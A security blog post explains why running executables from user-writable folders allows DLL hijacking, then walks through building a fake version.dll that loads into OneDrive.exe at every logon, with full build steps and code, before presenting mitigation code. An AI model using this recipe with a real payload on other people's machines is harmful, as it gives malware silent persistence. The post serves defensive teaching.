Blog Post

Windows Security Legacy

DLL Hijacking - Why running executables from a user-writable location is a bad idea.

Windows Security Legacy - DLL Hijacking - Why running executables from a user-writable location is a bad idea.

Intro

A few days ago, I noticed that the security researcher Colin Hardy posted a video where he demonstrated the technique that malware used to gain persistence in the target system. In a nutshell, the binary payload was placed into a user-writable location with the Microsoft OneDrive executable, masking as a system DLL. That allowed such DLL to be loaded into the OneDrive program every time a user was logging in.

The question that I had for myself was, how is it possible that a malware can inject itself so easily into one of the Microsoft's own processes in the latest version of Windows 10?

This blog post will shed some light on that question.

The Basics

The reason why malware profiled by Colin could so easily gain foothold in the OneDrive executable was two-fold:

  1. OneDrive executable is located in the user-writable directory, or %UserProfile%\AppData\Local\Microsoft\OneDrive to be precise. So many unprivileged programs can write to that location.
  2. DLL search order. If you need an example of an overblown and archaic contraption, read that document. I can almost guarantee that you won't go through it without thinking, "WTF?"

    In a nutshell, when you load a DLL, the loader goes through the process outlined in that cumbersome document to find the file for DLL, if DLL is not specified by its full path. To make matters worse, due to legacy reasons, none of the DLLs that you build your executables with (even today!) are specified by a full path. Instead they are specified by their names only.

    So if you read somewhere in the middle there, you will see that a DLL will be first loaded from:

    1. The directory from which the application loaded.

    Unless such DLL is one of the so-called KnownDLLs, that can be found in the following registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

    The problem with KnownDLLs though, is that the list is very short. For instance, these are DLLs that are listed in my Windows 10:

    wow64cpu.dll
    wowarmhw.dll
    xtajit.dll
    advapi32.dll
    clbcatq.dll
    combase.dll
    COMDLG32.dll
    coml2.dll
    difxapi.dll
    gdi32.dll
    gdiplus.dll
    IMAGEHLP.dll
    IMM32.dll
    kernel32.dll
    MSCTF.dll
    MSVCRT.dll
    NORMALIZ.dll
    NSI.dll
    ole32.dll
    OLEAUT32.dll
    PSAPI.DLL
    rpcrt4.dll
    sechost.dll
    Setupapi.dll
    SHCORE.dll
    SHELL32.dll
    SHLWAPI.dll
    user32.dll
    WLDAP32.dll
    wow64.dll
    wow64win.dll
    WS2_32.dll

  3. Then there's also DLL Redirection. With it Microsoft evidently tried to fix some other problem that came up earlier but instead created more unnecessary complexity that is always bad for security.

So all of this means that if someone can write into a directory where an executable is running from, they can create a clone of the system DLL that is imported by an executable (and is not listed in the KnownDlls list) and such DLL will be loaded into the victim process and executed in its context.

So let's see how easily we can replicate it.

DLL Hijacking In Practice

First let's examine what files are located in the folder where OneDrive executable runs in:

Windows Explorer
%UserProfile%\AppData\Local\Microsoft\OneDrive folder opened in Windows Explorer.

There are only two executables, and no DLLs. That's good for malware. The OneDrive.exe is the binary that runs every time when OneDrive is opened. It is also good for malware that OneDrive.exe is started automatically when each user logs in. This will guarantee persistence. This is done by Windows itself and should not raise any suspicions from the antivirus software.

Then let's see what modules does OneDrive.exe import. I will use my WinAPI Search app for that:

WinAPI Search
OneDrive.exe opened in WinAPI Search tool.

Then let's pick the module that is not on the list of KnownDLLs. The malware that Colin worked with, used Version.dll, so let's use it as well.

Next we need to see what functions the OneDrive.exe process imports from Version.dll. We'll use WinAPI Search app for that as well:

WinAPI Search
List of imported functions into OneDrive.exe opened in WinAPI Search tool.

When we get the list of imports, make sure to sort it by "Module From/To" column and scroll to the Version.dll section. As you can see there are only three functions that are imported from that module:

GetFileVersionInfoSizeW
GetFileVersionInfoW
VerQueryValueW

This will make it very easy for us to code our fake Version.dll to load into the OneDrive.exe process.

Creating The Hijack DLL

Let's open Visual Studio, and create a new project and pick Dynamic-Link Library (DLL) for C++.

When a new DLL project is created, add a new file to it in the Header Files folder. You can use the Header File (.h) template, just make sure to rename it into exports.def. Then put into it the names of imported functions we found above as such:

LIBRARY Version

EXPORTS

GetFileVersionInfoSizeW PRIVATE
GetFileVersionInfoW PRIVATE
VerQueryValueW PRIVATE

You will need to change some project properties too. In Configuration Properties for the DLL project:

  • Go to Linker -> Input -> "Module Definition File" and add exports.def into it.
  • Then go to Linker -> General -> "Output File" and change the name of the resulting module to $(OutDir)version$(TargetExt) to make sure that you compile it into version.dll file.
  • Additionally, I would also go to C/C++ -> Code Generation -> "Runtime Library" and set it to Multi-threaded (/MT). This will ensure that the DLL compiles without any dependencies to newer run-tine libraries that may be absent on the target machine.

Then in the dllmain.cpp add some minimum code to test our exploit:

C++
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
						DWORD  ul_reason_for_call,
						LPVOID lpReserved
						)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		::MessageBox(::GetDesktopWindow(), L"Bad version.dll was loaded", L"HIJACKED!", MB_ICONWARNING | MB_SYSTEMMODAL | MB_TOPMOST);
	}
	break;

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


DWORD WINAPI GetFileVersionInfoSizeW(LPCWSTR lptstrFilename, LPDWORD lpdwHandle)
{
	::Sleep(INFINITE);
	return 1;
}

BOOL WINAPI GetFileVersionInfoW(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
)
{
	::Sleep(INFINITE);
	return TRUE;
}

BOOL WINAPI VerQueryValueW(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
)
{
	::Sleep(INFINITE);
	return TRUE;
}
</windows.h>

In our code above we just created three duds for the imported functions. We need to have them as otherwise the loader will reject our DLL when loading it into OneDrive.exe. But we don't really need to provide any code in those functions, as we're not interested to run them. Thus we just created an infinite delay in each function using the Sleep API. This will stall the calling thread inside the OneDrive.exe process.

Finally our "payload" goes into DllMain. It will be executed right after OneDrive.exe is mapped into memory. This is also very convenient for the malware, as at that time no code inside OneDrive.exe would have a chance to run yet (aside from the code in DllMain functions in previously loaded modules.)

In our case we will just show a system modal message box that our fake DLL has been loaded. This will tell us that the code in malware has executed.

Proof-of-Concept

Compile the DLL project above as Release configuration and move resulting fake version.dll to the target computer into the %UserProfile%\AppData\Local\Microsoft\OneDrive directory. Notice that there's no UAC prompt that comes up to move that file. This means that almost everyone can do it.

Then reboot the computer, log in as that user, and wait for the result:

HIJACKED!
HIJACKED! message box, displayed after a reboot.

Our fake version.dll was loaded into the OneDrive process, that by the way, Microsoft forces pretty much on every Windows user, which is a very convenient way of auto-start (i.e. persistence) for the malware.

Ways of Mitigation

Having shown how easy it is to load a fake DLL into someone else's process, let us try to find ways to mitigate it.

Non-Writable Location

Somewhat luckily for us, Microsoft has envisioned a possible solution. There are locations on disk that require administrative privileges to write to. And one of such locations is the %ProgramFiles% directory, or %ProgramFiles(x86)% for 32-bit programs. (That is, by the way, a recommended location to place Windows executables into.)

In this case, if an attacker cannot modify files in the directory where your executable is running from, they will not be able to use the DLL hijacking technique that I've shown above.

There are still bypasses that allow to write even into a protected location, but at least it is not as straightforward as I've shown above.

Dynamic Loading of DLLs

As much as I hate to suggest this solution, it seems to be the most reliable from all three here. In a nutshell, if the DLL that you want to load is not on the KnownDlls list, you can load that DLL dynamically, or at run-time in your code using the full path of that DLL. Then you can resolve all imported functions in the DLL, and use the resulting pointers to call those functions in your code. This is not as straightforward as using the load-time linking though.

The main idea is that by loading your DLLs with a full path you remove any ambiguities of the DLL search order.

Let me give you an example how you would load the functions we saw above from a genuine Version.dll:

C++
#include <strsafe.h>
#include <assert.h>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")


WCHAR buff[MAX_PATH];

//Get system folder path
WCHAR buffSysDir[MAX_PATH] = {};
::GetSystemDirectory(buffSysDir, _countof(buffSysDir));
::PathAddBackslash(buffSysDir);

HMODULE hVersionDll = NULL;

//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;

BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;

BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;

//Dynamically load DLL by its full path
if (SUCCEEDED(::StringCchCopy(buff, _countof(buff), buffSysDir)) &&
	SUCCEEDED(::StringCchCat(buff, _countof(buff), L"version.dll")) &&
	(hVersionDll = ::LoadLibrary(buff)))
{
	//Resolve imported functions and load their addresses into our pointers
	if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
		((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
		((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
	{
		//Can call those functions now
		pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
		pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
		pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
	}
	else
		assert(false);
}
else
	assert(false);

if (hVersionDll)
{
	//Clear function pointers (for code safety)
	pfn_GetFileVersionInfoSizeW = NULL;
	pfn_GetFileVersionInfoW = NULL;
	pfn_VerQueryValueW = NULL;

	//And unload library
	::FreeLibrary(hVersionDll);
	hVersionDll = NULL;
}

Or, if you're targeting operating systems newer than Windows 7 (it may also work on Windows 7, but it requires the presence of KB2533623) you may use the following newer method with LOAD_LIBRARY_SEARCH_SYSTEM32 flag that works without explicitly specifying the system folder when loading DLLs:

C++
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;

BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;

BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;
	
HMODULE hVersionDll = ::LoadLibraryEx(L"version.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
if(hVersionDll)
{
	//Resolve imported functions and load their addresses into our pointers
	if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
		((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
		((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
	{
		//Can call those functions now
		pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
		pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
		pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
	}
	else
		assert(false);


	//Clear function pointers (for code safety)
	pfn_GetFileVersionInfoSizeW = NULL;
	pfn_GetFileVersionInfoW = NULL;
	pfn_VerQueryValueW = NULL;

	//And unload library
	::FreeLibrary(hVersionDll);
	hVersionDll = NULL;
}
else
	assert(false);

Lastly, with the same restrictions imposed on the operating system (anything older than Windows 7, or you will need KB2533623 installed) you can use the following alternative method of specifying the search order globally with the SetDefaultDllDirectories function:

C++
//Declare function pointers
DWORD(WINAPI *pfn_GetFileVersionInfoSizeW)(
	LPCWSTR lptstrFilename,
	LPDWORD lpdwHandle
	) = NULL;

BOOL(WINAPI *pfn_GetFileVersionInfoW)(
	LPCWSTR lptstrFilename,
	DWORD   dwHandle,
	DWORD   dwLen,
	LPVOID  lpData
	) = NULL;

BOOL(WINAPI *pfn_VerQueryValueW)(
	LPCVOID pBlock,
	LPCWSTR lpSubBlock,
	LPVOID  *lplpBuffer,
	PUINT   puLen
	) = NULL;

//Set default search order for DLLs to be loaded from the System32 folder
//INFO: Note that this method is set globally for the entire process!
if(::SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32))
{
	HMODULE hVersionDll = ::LoadLibrary(L"version.dll");
	if(hVersionDll)
	{
		//Resolve imported functions and load their addresses into our pointers
		if (((FARPROC&)pfn_GetFileVersionInfoSizeW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoSizeW")) &&
			((FARPROC&)pfn_GetFileVersionInfoW = ::GetProcAddress(hVersionDll, "GetFileVersionInfoW")) &&
			((FARPROC&)pfn_VerQueryValueW = ::GetProcAddress(hVersionDll, "VerQueryValueW")))
		{
			//Can call those functions now
			pfn_GetFileVersionInfoSizeW(pFileName, dwHandle);
			pfn_GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
			pfn_VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);
		}
		else
			assert(false);


		//Clear function pointers (for code safety)
		pfn_GetFileVersionInfoSizeW = NULL;
		pfn_GetFileVersionInfoW = NULL;
		pfn_VerQueryValueW = NULL;

		//And unload library
		::FreeLibrary(hVersionDll);
		hVersionDll = NULL;
	}
	else
		assert(false);
}
else
	assert(false);

But, as you can see, the amount of code involved to implement it is way more than just calling the following for the static linking:

C++
GetFileVersionInfoSizeW(pFileName, dwHandle);
GetFileVersionInfoW(pFileName, dwHandle, dwLen, pData);
VerQueryValueW(pBlock, pSub, &pBuffer, ncbBuffLen);

So it is obvious that most developers, including Microsoft itself, will not be willing to go this route.

Code Integrity Guard

It seems like Microsoft had a good idea with their Code Integrity Guard, or CIG. It's only if they implemented it thoroughly.

CIG in a nutshell is a security policy that can be enabled for a process to only allow loading modules that are properly signed by Microsoft. So in other words, if CIG was enabled for the OneDrive executable it would not load our fake version.dll because it was not signed by Microsoft. This would've been a perfect solution, had Microsoft properly implemented CIG.

CIG is not documented very well either. You can find scarce references to it in the SetProcessMitigationPolicy function documentation for the ProcessSignaturePolicy flag. And in the documentation for the PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY structure.

The main issue with CIG in our case is that we cannot enable it via an image binary itself, of through the PE file. If we could, any attempts to map an unsigned DLL would've been thwarted during the loading of statically linked modules, such as our fake version.dll.

CIG can be currently enabled by the process on itself, by calling SetProcessMitigationPolicy:

C++
#ifdef _M_X64
//Enable CIG for the self process
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp;
pmbsp.MicrosoftSignedOnly = 1;

if (!::SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp)))
{
	//Failed to set CIG
	assert(false);
}
#else
#error "CIG is not supported for 32-bit processes"
#endif
CIG works only for 64-bit processes, which OneDrive.exe is not.

But calling the code above will not do us any good as by the time we call it, our fake DLL will be already loaded during the load-time linking.

The second option how CIG can be enabled, is by a parent process when a child process is created using UpdateProcThreadAttribute function, using the extended attributes with PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON flag. But for that option to work, the process that starts OneDrive.exe, or Windows Explorer in our case, needs to support it, which it currently does not.

Conclusion

Unfortunately, the way DLLs are loaded into programs is bogged down in Windows legacy, which becomes a true security nightmare. And until Microsoft implements a decent version of Code Integrity Guard, there doesn't seem to be any guaranteed solution against DLL hijacking on the horizon.

The best option for software developers today, if they want to protect their executables from DLL hijacking, is to place them into a folder that is not writable by standard users; and if code refactoring is feasible, load affected system DLLs dynamically using their full path. This won't be a panacea, but will still offer better protection.

Make sure to read Microsoft's own suggestions on implementing DLLs securely and their overall DLL best practices for developers.

Related Articles